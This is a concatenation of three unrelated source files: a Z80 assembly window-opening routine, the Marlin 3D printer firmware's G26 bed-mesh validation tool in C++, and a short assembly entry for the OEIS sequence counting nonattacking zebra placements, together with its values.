; Internal library routine for openwindow, opentitled & openpopup ; 26/3/00 GWL PUBLIC opwin include "stdio.def" .opwin ld hl,windef call_oz(gn_sop) ld a,(ix+10) ; window ID add a,'0' call_oz(os_out) ld a,(ix+8) ; tlx add a,$20 call_oz(os_out) ld a,(ix+6) ; tly add a,$20 call_oz(os_out) ld a,(ix+4) ; width add a,$20 call_oz(os_out) ld a,(ix+2) ; height add a,$20 call_oz(os_out) ld a,b ; type call_oz(os_out) ld hl,winclr call_oz(gn_sop) ld a,(ix+10) add a,'0' call_oz(os_out) ; clear & select window ld hl,winmod call_oz(gn_sop) ; set default modes ret .windef defb 1 ;wndow definer defm "7#" defb 0 .winclr defb 1 ;window clear + reset modes defm "2C" defb 0 .winmod defb 1 ;set default modes (cursor + scroll) defm "3+CS" defb 0
/** * Marlin 3D Printer Firmware * Copyright (C) 2016 MarlinFirmware [https://github.com/MarlinFirmware/Marlin] * * Based on Sprinter and grbl. * Copyright (C) 2011 Camiel Gubbels / Erik van der Zalm * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ /** * Marlin Firmware -- G26 - Mesh Validation Tool */ #include "MarlinConfig.h" #if ENABLED(AUTO_BED_LEVELING_UBL) && ENABLED(UBL_G26_MESH_VALIDATION) #include "ubl.h" #include "Marlin.h" #include "planner.h" #include "stepper.h" #include "temperature.h" #include "ultralcd.h" #include "gcode.h" #define EXTRUSION_MULTIPLIER 1.0 #define RETRACTION_MULTIPLIER 1.0 #define NOZZLE 0.4 #define FILAMENT 1.75 #define LAYER_HEIGHT 0.2 #define PRIME_LENGTH 10.0 #define BED_TEMP 60.0 #define HOTEND_TEMP 205.0 #define OOZE_AMOUNT 0.3 #define SIZE_OF_INTERSECTION_CIRCLES 5 #define SIZE_OF_CROSSHAIRS 3 #if SIZE_OF_CROSSHAIRS >= SIZE_OF_INTERSECTION_CIRCLES #error "SIZE_OF_CROSSHAIRS must be less than SIZE_OF_INTERSECTION_CIRCLES." #endif /** * G26 Mesh Validation Tool * * G26 is a Mesh Validation Tool intended to provide support for the Marlin Unified Bed Leveling System. * In order to fully utilize and benefit from the Marlin Unified Bed Leveling System an accurate Mesh must * be defined. G29 is designed to allow the user to quickly validate the correctness of her Mesh. It will * first heat the bed and nozzle. It will then print lines and circles along the Mesh Cell boundaries and * the intersections of those lines (respectively). * * This action allows the user to immediately see where the Mesh is properly defined and where it needs to * be edited. The command will generate the Mesh lines closest to the nozzle's starting position. Alternatively * the user can specify the X and Y position of interest with command parameters. This allows the user to * focus on a particular area of the Mesh where attention is needed. * * B # Bed Set the Bed Temperature. If not specified, a default of 60 C. will be assumed. * * C Current When searching for Mesh Intersection points to draw, use the current nozzle location * as the base for any distance comparison. * * D Disable Disable the Unified Bed Leveling System. In the normal case the user is invoking this * command to see how well a Mesh as been adjusted to match a print surface. In order to do * this the Unified Bed Leveling System is turned on by the G26 command. The D parameter * alters the command's normal behaviour and disables the Unified Bed Leveling System even if * it is on. * * H # Hotend Set the Nozzle Temperature. If not specified, a default of 205 C. will be assumed. * * F # Filament Used to specify the diameter of the filament being used. If not specified * 1.75mm filament is assumed. If you are not getting acceptable results by using the * 'correct' numbers, you can scale this number up or down a little bit to change the amount * of filament that is being extruded during the printing of the various lines on the bed. * * K Keep-On Keep the heaters turned on at the end of the command. * * L # Layer Layer height. (Height of nozzle above bed) If not specified .20mm will be used. * * O # Ooooze How much your nozzle will Ooooze filament while getting in position to print. This * is over kill, but using this parameter will let you get the very first 'circle' perfect * so you have a trophy to peel off of the bed and hang up to show how perfectly you have your * Mesh calibrated. If not specified, a filament length of .3mm is assumed. * * P # Prime Prime the nozzle with specified length of filament. If this parameter is not * given, no prime action will take place. If the parameter specifies an amount, that much * will be purged before continuing. If no amount is specified the command will start * purging filament until the user provides an LCD Click and then it will continue with * printing the Mesh. You can carefully remove the spent filament with a needle nose * pliers while holding the LCD Click wheel in a depressed state. If you do not have * an LCD, you must specify a value if you use P. * * Q # Multiplier Retraction Multiplier. Normally not needed. Retraction defaults to 1.0mm and * un-retraction is at 1.2mm These numbers will be scaled by the specified amount * * R # Repeat Prints the number of patterns given as a parameter, starting at the current location. * If a parameter isn't given, every point will be printed unless G26 is interrupted. * This works the same way that the UBL G29 P4 R parameter works. * * NOTE: If you do not have an LCD, you -must- specify R. This is to ensure that you are * aware that there's some risk associated with printing without the ability to abort in * cases where mesh point Z value may be inaccurate. As above, if you do not include a * parameter, every point will be printed. * * S # Nozzle Used to control the size of nozzle diameter. If not specified, a .4mm nozzle is assumed. * * U # Random Randomize the order that the circles are drawn on the bed. The search for the closest * undrawn cicle is still done. But the distance to the location for each circle has a * random number of the size specified added to it. Specifying S50 will give an interesting * deviation from the normal behaviour on a 10 x 10 Mesh. * * X # X Coord. Specify the starting location of the drawing activity. * * Y # Y Coord. Specify the starting location of the drawing activity. */ // External references extern float feedrate_mm_s; // must set before calling prepare_move_to_destination extern Planner planner; #if ENABLED(ULTRA_LCD) extern char lcd_status_message[]; #endif extern float destination[XYZE]; void set_destination_to_current(); void prepare_move_to_destination(); #if AVR_AT90USB1286_FAMILY // Teensyduino & Printrboard IDE extensions have compile errors without this inline void sync_plan_position_e() { planner.set_e_position_mm(current_position[E_AXIS]); } inline void set_current_to_destination() { COPY(current_position, destination); } #else void sync_plan_position_e(); void set_current_to_destination(); #endif #if ENABLED(NEWPANEL) void lcd_setstatusPGM(const char* const message, const int8_t level); void chirp_at_user(); #endif // Private functions static uint16_t circle_flags[16], horizontal_mesh_line_flags[16], vertical_mesh_line_flags[16]; float g26_e_axis_feedrate = 0.020, random_deviation = 0.0; static bool g26_retracted = false; // Track the retracted state of the nozzle so mismatched // retracts/recovers won't result in a bad state. float valid_trig_angle(float); float unified_bed_leveling::g26_extrusion_multiplier, unified_bed_leveling::g26_retraction_multiplier, unified_bed_leveling::g26_nozzle, unified_bed_leveling::g26_filament_diameter, unified_bed_leveling::g26_layer_height, unified_bed_leveling::g26_prime_length, unified_bed_leveling::g26_x_pos, unified_bed_leveling::g26_y_pos, unified_bed_leveling::g26_ooze_amount; int16_t unified_bed_leveling::g26_bed_temp, unified_bed_leveling::g26_hotend_temp; int8_t unified_bed_leveling::g26_prime_flag; bool unified_bed_leveling::g26_continue_with_closest, unified_bed_leveling::g26_keep_heaters_on; int16_t unified_bed_leveling::g26_repeats; void unified_bed_leveling::G26_line_to_destination(const float &feed_rate) { const float save_feedrate = feedrate_mm_s; feedrate_mm_s = feed_rate; // use specified feed rate prepare_move_to_destination(); // will ultimately call ubl.line_to_destination_cartesian or ubl.prepare_linear_move_to for UBL_DELTA feedrate_mm_s = save_feedrate; // restore global feed rate } #if ENABLED(NEWPANEL) /** * Detect ubl_lcd_clicked, debounce it, and return true for cancel */ bool user_canceled() { if (!ubl_lcd_clicked()) return false; safe_delay(10); // Wait for click to settle #if ENABLED(ULTRA_LCD) lcd_setstatusPGM(PSTR("Mesh Validation Stopped."), 99); lcd_quick_feedback(); #endif while (!ubl_lcd_clicked()) idle(); // Wait for button release // If the button is suddenly pressed again, // ask the user to resolve the issue lcd_setstatusPGM(PSTR("Release button"), 99); // will never appear... while (ubl_lcd_clicked()) idle(); // unless this loop happens lcd_reset_status(); return true; } #endif /** * G26: Mesh Validation Pattern generation. * * Used to interactively edit UBL's Mesh by placing the * nozzle in a problem area and doing a G29 P4 R command. */ void unified_bed_leveling::G26() { SERIAL_ECHOLNPGM("G26 command started. Waiting for heater(s)."); float tmp, start_angle, end_angle; int i, xi, yi; mesh_index_pair location; // Don't allow Mesh Validation without homing first, // or if the parameter parsing did not go OK, abort if (axis_unhomed_error() || parse_G26_parameters()) return; if (current_position[Z_AXIS] < Z_CLEARANCE_BETWEEN_PROBES) { do_blocking_move_to_z(Z_CLEARANCE_BETWEEN_PROBES); stepper.synchronize(); set_current_to_destination(); } if (turn_on_heaters()) goto LEAVE; current_position[E_AXIS] = 0.0; sync_plan_position_e(); if (g26_prime_flag && prime_nozzle()) goto LEAVE; /** * Bed is preheated * * Nozzle is at temperature * * Filament is primed! * * It's "Show Time" !!! */ ZERO(circle_flags); ZERO(horizontal_mesh_line_flags); ZERO(vertical_mesh_line_flags); // Move nozzle to the specified height for the first layer set_destination_to_current(); destination[Z_AXIS] = g26_layer_height; move_to(destination, 0.0); move_to(destination, g26_ooze_amount); has_control_of_lcd_panel = true; //debug_current_and_destination(PSTR("Starting G26 Mesh Validation Pattern.")); /** * Declare and generate a sin() & cos() table to be used during the circle drawing. This will lighten * the CPU load and make the arc drawing faster and more smooth */ float sin_table[360 / 30 + 1], cos_table[360 / 30 + 1]; for (i = 0; i <= 360 / 30; i++) { cos_table[i] = SIZE_OF_INTERSECTION_CIRCLES * cos(RADIANS(valid_trig_angle(i * 30.0))); sin_table[i] = SIZE_OF_INTERSECTION_CIRCLES * sin(RADIANS(valid_trig_angle(i * 30.0))); } do { location = g26_continue_with_closest ? find_closest_circle_to_print(current_position[X_AXIS], current_position[Y_AXIS]) : find_closest_circle_to_print(g26_x_pos, g26_y_pos); // Find the closest Mesh Intersection to where we are now. if (location.x_index >= 0 && location.y_index >= 0) { const float circle_x = mesh_index_to_xpos(location.x_index), circle_y = mesh_index_to_ypos(location.y_index); // If this mesh location is outside the printable_radius, skip it. if (!position_is_reachable_raw_xy(circle_x, circle_y)) continue; xi = location.x_index; // Just to shrink the next few lines and make them easier to understand yi = location.y_index; if (g26_debug_flag) { SERIAL_ECHOPAIR(" Doing circle at: (xi=", xi); SERIAL_ECHOPAIR(", yi=", yi); SERIAL_CHAR(')'); SERIAL_EOL(); } start_angle = 0.0; // assume it is going to be a full circle end_angle = 360.0; if (xi == 0) { // Check for bottom edge start_angle = -90.0; end_angle = 90.0; if (yi == 0) // it is an edge, check for the two left corners start_angle = 0.0; else if (yi == GRID_MAX_POINTS_Y - 1) end_angle = 0.0; } else if (xi == GRID_MAX_POINTS_X - 1) { // Check for top edge start_angle = 90.0; end_angle = 270.0; if (yi == 0) // it is an edge, check for the two right corners end_angle = 180.0; else if (yi == GRID_MAX_POINTS_Y - 1) start_angle = 180.0; } else if (yi == 0) { start_angle = 0.0; // only do the top side of the cirlce end_angle = 180.0; } else if (yi == GRID_MAX_POINTS_Y - 1) { start_angle = 180.0; // only do the bottom side of the cirlce end_angle = 360.0; } for (tmp = start_angle; tmp < end_angle - 0.1; tmp += 30.0) { #if ENABLED(NEWPANEL) if (user_canceled()) goto LEAVE; // Check if the user wants to stop the Mesh Validation #endif int tmp_div_30 = tmp / 30.0; if (tmp_div_30 < 0) tmp_div_30 += 360 / 30; if (tmp_div_30 > 11) tmp_div_30 -= 360 / 30; float x = circle_x + cos_table[tmp_div_30], // for speed, these are now a lookup table entry y = circle_y + sin_table[tmp_div_30], xe = circle_x + cos_table[tmp_div_30 + 1], ye = circle_y + sin_table[tmp_div_30 + 1]; #if IS_KINEMATIC // Check to make sure this segment is entirely on the bed, skip if not. if (!position_is_reachable_raw_xy(x, y) || !position_is_reachable_raw_xy(xe, ye)) continue; #else // not, we need to skip x = constrain(x, X_MIN_POS + 1, X_MAX_POS - 1); // This keeps us from bumping the endstops y = constrain(y, Y_MIN_POS + 1, Y_MAX_POS - 1); xe = constrain(xe, X_MIN_POS + 1, X_MAX_POS - 1); ye = constrain(ye, Y_MIN_POS + 1, Y_MAX_POS - 1); #endif //if (g26_debug_flag) { // char ccc, *cptr, seg_msg[50], seg_num[10]; // strcpy(seg_msg, " segment: "); // strcpy(seg_num, " \n"); // cptr = (char*) "01234567890ABCDEF????????"; // ccc = cptr[tmp_div_30]; // seg_num[1] = ccc; // strcat(seg_msg, seg_num); // debug_current_and_destination(seg_msg); //} print_line_from_here_to_there(LOGICAL_X_POSITION(x), LOGICAL_Y_POSITION(y), g26_layer_height, LOGICAL_X_POSITION(xe), LOGICAL_Y_POSITION(ye), g26_layer_height); } if (look_for_lines_to_connect()) goto LEAVE; } } while (--g26_repeats && location.x_index >= 0 && location.y_index >= 0); LEAVE: lcd_setstatusPGM(PSTR("Leaving G26"), -1); retract_filament(destination); destination[Z_AXIS] = Z_CLEARANCE_BETWEEN_PROBES; //debug_current_and_destination(PSTR("ready to do Z-Raise.")); move_to(destination, 0); // Raise the nozzle //debug_current_and_destination(PSTR("done doing Z-Raise.")); destination[X_AXIS] = g26_x_pos; // Move back to the starting position destination[Y_AXIS] = g26_y_pos; //destination[Z_AXIS] = Z_CLEARANCE_BETWEEN_PROBES; // Keep the nozzle where it is move_to(destination, 0); // Move back to the starting position //debug_current_and_destination(PSTR("done doing X/Y move.")); has_control_of_lcd_panel = false; // Give back control of the LCD Panel! if (!g26_keep_heaters_on) { #if HAS_TEMP_BED thermalManager.setTargetBed(0); #endif thermalManager.setTargetHotend(0, 0); } } float valid_trig_angle(float d) { while (d > 360.0) d -= 360.0; while (d < 0.0) d += 360.0; return d; } mesh_index_pair unified_bed_leveling::find_closest_circle_to_print(const float &X, const float &Y) { float closest = 99999.99; mesh_index_pair return_val; return_val.x_index = return_val.y_index = -1; for (uint8_t i = 0; i < GRID_MAX_POINTS_X; i++) { for (uint8_t j = 0; j < GRID_MAX_POINTS_Y; j++) { if (!is_bit_set(circle_flags, i, j)) { const float mx = mesh_index_to_xpos(i), // We found a circle that needs to be printed my = mesh_index_to_ypos(j); // Get the distance to this intersection float f = HYPOT(X - mx, Y - my); // It is possible that we are being called with the values // to let us find the closest circle to the start position. // But if this is not the case, add a small weighting to the // distance calculation to help it choose a better place to continue. f += HYPOT(g26_x_pos - mx, g26_y_pos - my) / 15.0; // Add in the specified amount of Random Noise to our search if (random_deviation > 1.0) f += random(0.0, random_deviation); if (f < closest) { closest = f; // We found a closer location that is still return_val.x_index = i; // un-printed --- save the data for it return_val.y_index = j; return_val.distance = closest; } } } } bit_set(circle_flags, return_val.x_index, return_val.y_index); // Mark this location as done. return return_val; } bool unified_bed_leveling::look_for_lines_to_connect() { float sx, sy, ex, ey; for (uint8_t i = 0; i < GRID_MAX_POINTS_X; i++) { for (uint8_t j = 0; j < GRID_MAX_POINTS_Y; j++) { #if ENABLED(NEWPANEL) if (user_canceled()) return true; // Check if the user wants to stop the Mesh Validation #endif if (i < GRID_MAX_POINTS_X) { // We can't connect to anything to the right than GRID_MAX_POINTS_X. // This is already a half circle because we are at the edge of the bed. if (is_bit_set(circle_flags, i, j) && is_bit_set(circle_flags, i + 1, j)) { // check if we can do a line to the left if (!is_bit_set(horizontal_mesh_line_flags, i, j)) { // // We found two circles that need a horizontal line to connect them // Print it! // sx = mesh_index_to_xpos( i ) + (SIZE_OF_INTERSECTION_CIRCLES - (SIZE_OF_CROSSHAIRS)); // right edge ex = mesh_index_to_xpos(i + 1) - (SIZE_OF_INTERSECTION_CIRCLES - (SIZE_OF_CROSSHAIRS)); // left edge sx = constrain(sx, X_MIN_POS + 1, X_MAX_POS - 1); sy = ey = constrain(mesh_index_to_ypos(j), Y_MIN_POS + 1, Y_MAX_POS - 1); ex = constrain(ex, X_MIN_POS + 1, X_MAX_POS - 1); if (position_is_reachable_raw_xy(sx, sy) && position_is_reachable_raw_xy(ex, ey)) { if (g26_debug_flag) { SERIAL_ECHOPAIR(" Connecting with horizontal line (sx=", sx); SERIAL_ECHOPAIR(", sy=", sy); SERIAL_ECHOPAIR(") -> (ex=", ex); SERIAL_ECHOPAIR(", ey=", ey); SERIAL_CHAR(')'); SERIAL_EOL(); //debug_current_and_destination(PSTR("Connecting horizontal line.")); } print_line_from_here_to_there(LOGICAL_X_POSITION(sx), LOGICAL_Y_POSITION(sy), g26_layer_height, LOGICAL_X_POSITION(ex), LOGICAL_Y_POSITION(ey), g26_layer_height); } bit_set(horizontal_mesh_line_flags, i, j); // Mark it as done so we don't do it again, even if we skipped it } } if (j < GRID_MAX_POINTS_Y) { // We can't connect to anything further back than GRID_MAX_POINTS_Y. // This is already a half circle because we are at the edge of the bed. if (is_bit_set(circle_flags, i, j) && is_bit_set(circle_flags, i, j + 1)) { // check if we can do a line straight down if (!is_bit_set( vertical_mesh_line_flags, i, j)) { // // We found two circles that need a vertical line to connect them // Print it! // sy = mesh_index_to_ypos( j ) + (SIZE_OF_INTERSECTION_CIRCLES - (SIZE_OF_CROSSHAIRS)); // top edge ey = mesh_index_to_ypos(j + 1) - (SIZE_OF_INTERSECTION_CIRCLES - (SIZE_OF_CROSSHAIRS)); // bottom edge sx = ex = constrain(mesh_index_to_xpos(i), X_MIN_POS + 1, X_MAX_POS - 1); sy = constrain(sy, Y_MIN_POS + 1, Y_MAX_POS - 1); ey = constrain(ey, Y_MIN_POS + 1, Y_MAX_POS - 1); if (position_is_reachable_raw_xy(sx, sy) && position_is_reachable_raw_xy(ex, ey)) { if (g26_debug_flag) { SERIAL_ECHOPAIR(" Connecting with vertical line (sx=", sx); SERIAL_ECHOPAIR(", sy=", sy); SERIAL_ECHOPAIR(") -> (ex=", ex); SERIAL_ECHOPAIR(", ey=", ey); SERIAL_CHAR(')'); SERIAL_EOL(); debug_current_and_destination(PSTR("Connecting vertical line.")); } print_line_from_here_to_there(LOGICAL_X_POSITION(sx), LOGICAL_Y_POSITION(sy), g26_layer_height, LOGICAL_X_POSITION(ex), LOGICAL_Y_POSITION(ey), g26_layer_height); } bit_set(vertical_mesh_line_flags, i, j); // Mark it as done so we don't do it again, even if skipped } } } } } } return false; } void unified_bed_leveling::move_to(const float &x, const float &y, const float &z, const float &e_delta) { float feed_value; static float last_z = -999.99; bool has_xy_component = (x != current_position[X_AXIS] || y != current_position[Y_AXIS]); // Check if X or Y is involved in the movement. if (z != last_z) { last_z = z; feed_value = planner.max_feedrate_mm_s[Z_AXIS]/(3.0); // Base the feed rate off of the configured Z_AXIS feed rate destination[X_AXIS] = current_position[X_AXIS]; destination[Y_AXIS] = current_position[Y_AXIS]; destination[Z_AXIS] = z; // We know the last_z==z or we wouldn't be in this block of code. destination[E_AXIS] = current_position[E_AXIS]; G26_line_to_destination(feed_value); stepper.synchronize(); set_destination_to_current(); } // Check if X or Y is involved in the movement. // Yes: a 'normal' movement. No: a retract() or recover() feed_value = has_xy_component ? PLANNER_XY_FEEDRATE() / 10.0 : planner.max_feedrate_mm_s[E_AXIS] / 1.5; if (g26_debug_flag) SERIAL_ECHOLNPAIR("in move_to() feed_value for XY:", feed_value); destination[X_AXIS] = x; destination[Y_AXIS] = y; destination[E_AXIS] += e_delta; G26_line_to_destination(feed_value); stepper.synchronize(); set_destination_to_current(); } void unified_bed_leveling::retract_filament(const float where[XYZE]) { if (!g26_retracted) { // Only retract if we are not already retracted! g26_retracted = true; move_to(where, -1.0 * g26_retraction_multiplier); } } void unified_bed_leveling::recover_filament(const float where[XYZE]) { if (g26_retracted) { // Only un-retract if we are retracted. move_to(where, 1.2 * g26_retraction_multiplier); g26_retracted = false; } } /** * print_line_from_here_to_there() takes two cartesian coordinates and draws a line from one * to the other. But there are really three sets of coordinates involved. The first coordinate * is the present location of the nozzle. We don't necessarily want to print from this location. * We first need to move the nozzle to the start of line segment where we want to print. Once * there, we can use the two coordinates supplied to draw the line. * * Note: Although we assume the first set of coordinates is the start of the line and the second * set of coordinates is the end of the line, it does not always work out that way. This function * optimizes the movement to minimize the travel distance before it can start printing. This saves * a lot of time and eliminates a lot of nonsensical movement of the nozzle. However, it does * cause a lot of very little short retracement of th nozzle when it draws the very first line * segment of a 'circle'. The time this requires is very short and is easily saved by the other * cases where the optimization comes into play. */ void unified_bed_leveling::print_line_from_here_to_there(const float &sx, const float &sy, const float &sz, const float &ex, const float &ey, const float &ez) { const float dx_s = current_position[X_AXIS] - sx, // find our distance from the start of the actual line segment dy_s = current_position[Y_AXIS] - sy, dist_start = HYPOT2(dx_s, dy_s), // We don't need to do a sqrt(), we can compare the distance^2 // to save computation time dx_e = current_position[X_AXIS] - ex, // find our distance from the end of the actual line segment dy_e = current_position[Y_AXIS] - ey, dist_end = HYPOT2(dx_e, dy_e), line_length = HYPOT(ex - sx, ey - sy); // If the end point of the line is closer to the nozzle, flip the direction, // moving from the end to the start. On very small lines the optimization isn't worth it. if (dist_end < dist_start && (SIZE_OF_INTERSECTION_CIRCLES) < FABS(line_length)) { return print_line_from_here_to_there(ex, ey, ez, sx, sy, sz); } // Decide whether to retract & bump if (dist_start > 2.0) { retract_filament(destination); //todo: parameterize the bump height with a define move_to(current_position[X_AXIS], current_position[Y_AXIS], current_position[Z_AXIS] + 0.500, 0.0); // Z bump to minimize scraping move_to(sx, sy, sz + 0.500, 0.0); // Get to the starting point with no extrusion while bumped } move_to(sx, sy, sz, 0.0); // Get to the starting point with no extrusion / un-Z bump const float e_pos_delta = line_length * g26_e_axis_feedrate * g26_extrusion_multiplier; recover_filament(destination); move_to(ex, ey, ez, e_pos_delta); // Get to the ending point with an appropriate amount of extrusion } /** * This function used to be inline code in G26. But there are so many * parameters it made sense to turn them into static globals and get * this code out of sight of the main routine. */ bool unified_bed_leveling::parse_G26_parameters() { g26_extrusion_multiplier = EXTRUSION_MULTIPLIER; g26_retraction_multiplier = RETRACTION_MULTIPLIER; g26_nozzle = NOZZLE; g26_filament_diameter = FILAMENT; g26_layer_height = LAYER_HEIGHT; g26_prime_length = PRIME_LENGTH; g26_bed_temp = BED_TEMP; g26_hotend_temp = HOTEND_TEMP; g26_prime_flag = 0; g26_ooze_amount = parser.linearval('O', OOZE_AMOUNT); g26_keep_heaters_on = parser.boolval('K'); g26_continue_with_closest = parser.boolval('C'); if (parser.seenval('B')) { g26_bed_temp = parser.value_celsius(); if (!WITHIN(g26_bed_temp, 15, 140)) { SERIAL_PROTOCOLLNPGM("?Specified bed temperature not plausible."); return UBL_ERR; } } if (parser.seenval('L')) { g26_layer_height = parser.value_linear_units(); if (!WITHIN(g26_layer_height, 0.0, 2.0)) { SERIAL_PROTOCOLLNPGM("?Specified layer height not plausible."); return UBL_ERR; } } if (parser.seen('Q')) { if (parser.has_value()) { g26_retraction_multiplier = parser.value_float(); if (!WITHIN(g26_retraction_multiplier, 0.05, 15.0)) { SERIAL_PROTOCOLLNPGM("?Specified Retraction Multiplier not plausible."); return UBL_ERR; } } else { SERIAL_PROTOCOLLNPGM("?Retraction Multiplier must be specified."); return UBL_ERR; } } if (parser.seenval('S')) { g26_nozzle = parser.value_float(); if (!WITHIN(g26_nozzle, 0.1, 1.0)) { SERIAL_PROTOCOLLNPGM("?Specified nozzle size not plausible."); return UBL_ERR; } } if (parser.seen('P')) { if (!parser.has_value()) { #if ENABLED(NEWPANEL) g26_prime_flag = -1; #else SERIAL_PROTOCOLLNPGM("?Prime length must be specified when not using an LCD."); return UBL_ERR; #endif } else { g26_prime_flag++; g26_prime_length = parser.value_linear_units(); if (!WITHIN(g26_prime_length, 0.0, 25.0)) { SERIAL_PROTOCOLLNPGM("?Specified prime length not plausible."); return UBL_ERR; } } } if (parser.seenval('F')) { g26_filament_diameter = parser.value_linear_units(); if (!WITHIN(g26_filament_diameter, 1.0, 4.0)) { SERIAL_PROTOCOLLNPGM("?Specified filament size not plausible."); return UBL_ERR; } } g26_extrusion_multiplier *= sq(1.75) / sq(g26_filament_diameter); // If we aren't using 1.75mm filament, we need to // scale up or down the length needed to get the // same volume of filament g26_extrusion_multiplier *= g26_filament_diameter * sq(g26_nozzle) / sq(0.3); // Scale up by nozzle size if (parser.seenval('H')) { g26_hotend_temp = parser.value_celsius(); if (!WITHIN(g26_hotend_temp, 165, 280)) { SERIAL_PROTOCOLLNPGM("?Specified nozzle temperature not plausible."); return UBL_ERR; } } if (parser.seen('U')) { randomSeed(millis()); // This setting will persist for the next G26 random_deviation = parser.has_value() ? parser.value_float() : 50.0; } #if ENABLED(NEWPANEL) g26_repeats = parser.intval('R', GRID_MAX_POINTS + 1); #else if (!parser.seen('R')) { SERIAL_PROTOCOLLNPGM("?(R)epeat must be specified when not using an LCD."); return UBL_ERR; } else g26_repeats = parser.has_value() ? parser.value_int() : GRID_MAX_POINTS + 1; #endif if (g26_repeats < 1) { SERIAL_PROTOCOLLNPGM("?(R)epeat value not plausible; must be at least 1."); return UBL_ERR; } g26_x_pos = parser.linearval('X', current_position[X_AXIS]); g26_y_pos = parser.linearval('Y', current_position[Y_AXIS]); if (!position_is_reachable_xy(g26_x_pos, g26_y_pos)) { SERIAL_PROTOCOLLNPGM("?Specified X,Y coordinate out of bounds."); return UBL_ERR; } /** * Wait until all parameters are verified before altering the state! */ set_bed_leveling_enabled(!parser.seen('D')); return UBL_OK; } #if ENABLED(NEWPANEL) bool unified_bed_leveling::exit_from_g26() { lcd_setstatusPGM(PSTR("Leaving G26"), -1); while (ubl_lcd_clicked()) idle(); return UBL_ERR; } #endif /** * Turn on the bed and nozzle heat and * wait for them to get up to temperature. */ bool unified_bed_leveling::turn_on_heaters() { millis_t next = millis() + 5000UL; #if HAS_TEMP_BED #if ENABLED(ULTRA_LCD) if (g26_bed_temp > 25) { lcd_setstatusPGM(PSTR("G26 Heating Bed."), 99); lcd_quick_feedback(); #endif has_control_of_lcd_panel = true; thermalManager.setTargetBed(g26_bed_temp); while (abs(thermalManager.degBed() - g26_bed_temp) > 3) { #if ENABLED(NEWPANEL) if (ubl_lcd_clicked()) return exit_from_g26(); #endif if (ELAPSED(millis(), next)) { next = millis() + 5000UL; print_heaterstates(); SERIAL_EOL(); } idle(); } #if ENABLED(ULTRA_LCD) } lcd_setstatusPGM(PSTR("G26 Heating Nozzle."), 99); lcd_quick_feedback(); #endif #endif // Start heating the nozzle and wait for it to reach temperature. thermalManager.setTargetHotend(g26_hotend_temp, 0); while (abs(thermalManager.degHotend(0) - g26_hotend_temp) > 3) { #if ENABLED(NEWPANEL) if (ubl_lcd_clicked()) return exit_from_g26(); #endif if (ELAPSED(millis(), next)) { next = millis() + 5000UL; print_heaterstates(); SERIAL_EOL(); } idle(); } #if ENABLED(ULTRA_LCD) lcd_reset_status(); lcd_quick_feedback(); #endif return UBL_OK; } /** * Prime the nozzle if needed. Return true on error. */ bool unified_bed_leveling::prime_nozzle() { #if ENABLED(NEWPANEL) float Total_Prime = 0.0; if (g26_prime_flag == -1) { // The user wants to control how much filament gets purged has_control_of_lcd_panel = true; lcd_setstatusPGM(PSTR("User-Controlled Prime"), 99); chirp_at_user(); set_destination_to_current(); recover_filament(destination); // Make sure G26 doesn't think the filament is retracted(). while (!ubl_lcd_clicked()) { chirp_at_user(); destination[E_AXIS] += 0.25; #ifdef PREVENT_LENGTHY_EXTRUDE Total_Prime += 0.25; if (Total_Prime >= EXTRUDE_MAXLENGTH) return UBL_ERR; #endif G26_line_to_destination(planner.max_feedrate_mm_s[E_AXIS] / 15.0); stepper.synchronize(); // Without this synchronize, the purge is more consistent, // but because the planner has a buffer, we won't be able // to stop as quickly. So we put up with the less smooth // action to give the user a more responsive 'Stop'. set_destination_to_current(); idle(); } while (ubl_lcd_clicked()) idle(); // Debounce Encoder Wheel #if ENABLED(ULTRA_LCD) strcpy_P(lcd_status_message, PSTR("Done Priming")); // We can't do lcd_setstatusPGM() without having it continue; // So... We cheat to get a message up. lcd_setstatusPGM(PSTR("Done Priming"), 99); lcd_quick_feedback(); #endif has_control_of_lcd_panel = false; } else { #else { #endif #if ENABLED(ULTRA_LCD) lcd_setstatusPGM(PSTR("Fixed Length Prime."), 99); lcd_quick_feedback(); #endif set_destination_to_current(); destination[E_AXIS] += g26_prime_length; G26_line_to_destination(planner.max_feedrate_mm_s[E_AXIS] / 15.0); stepper.synchronize(); set_destination_to_current(); retract_filament(destination); } return UBL_OK; } #endif // AUTO_BED_LEVELING_UBL && UBL_G26_MESH_VALIDATION
; A172137: Number of ways to place 2 nonattacking zebras on an n X n board ; 0,6,36,112,276,582,1096,1896,3072,4726,6972,9936,13756,18582,24576,31912,40776,51366,63892,78576,95652,115366,137976,163752,192976,225942,262956,304336,350412,401526,458032,520296,588696,663622,745476,834672,931636,1036806,1150632,1273576,1406112,1548726,1701916,1866192,2042076,2230102,2430816,2644776,2872552,3114726,3371892,3644656,3933636,4239462,4562776,4904232,5264496,5644246,6044172,6464976,6907372,7372086,7859856,8371432,8907576,9469062,10056676,10671216,11313492,11984326,12684552,13415016,14176576,14970102,15796476,16656592,17551356,18481686,19448512,20452776,21495432,22577446,23699796,24863472,26069476,27318822,28612536,29951656,31337232,32770326,34252012,35783376,37365516,38999542,40686576,42427752,44224216,46077126,47987652,49956976,51986292,54076806,56229736,58446312,60727776,63075382,65490396,67974096,70527772,73152726,75850272,78621736,81468456,84391782,87393076,90473712,93635076,96878566,100205592,103617576,107115952,110702166,114377676,118143952,122002476,125954742,130002256,134146536,138389112,142731526,147175332,151722096,156373396,161130822,165995976,170970472,176055936,181254006,186566332,191994576,197540412,203205526,208991616,214900392,220933576,227092902,233380116,239796976,246345252,253026726,259843192,266796456,273888336,281120662,288495276,296014032,303678796,311491446,319453872,327567976,335835672,344258886,352839556,361579632,370481076,379545862,388775976,398173416,407740192,417478326,427389852,437476816,447741276,458185302,468810976,479620392,490615656,501798886,513172212,524737776,536497732,548454246,560609496,572965672,585524976,598289622,611261836,624443856,637837932,651446326,665271312,679315176,693580216,708068742,722783076,737725552,752898516,768304326,783945352,799823976,815942592,832303606,848909436,865762512,882865276,900220182,917829696,935696296,953822472,972210726,990863572,1009783536,1028973156,1048434982,1068171576,1088185512,1108479376,1129055766,1149917292,1171066576,1192506252,1214238966,1236267376,1258594152,1281221976,1304153542,1327391556,1350938736,1374797812,1398971526,1423462632,1448273896,1473408096,1498868022,1524656476,1550776272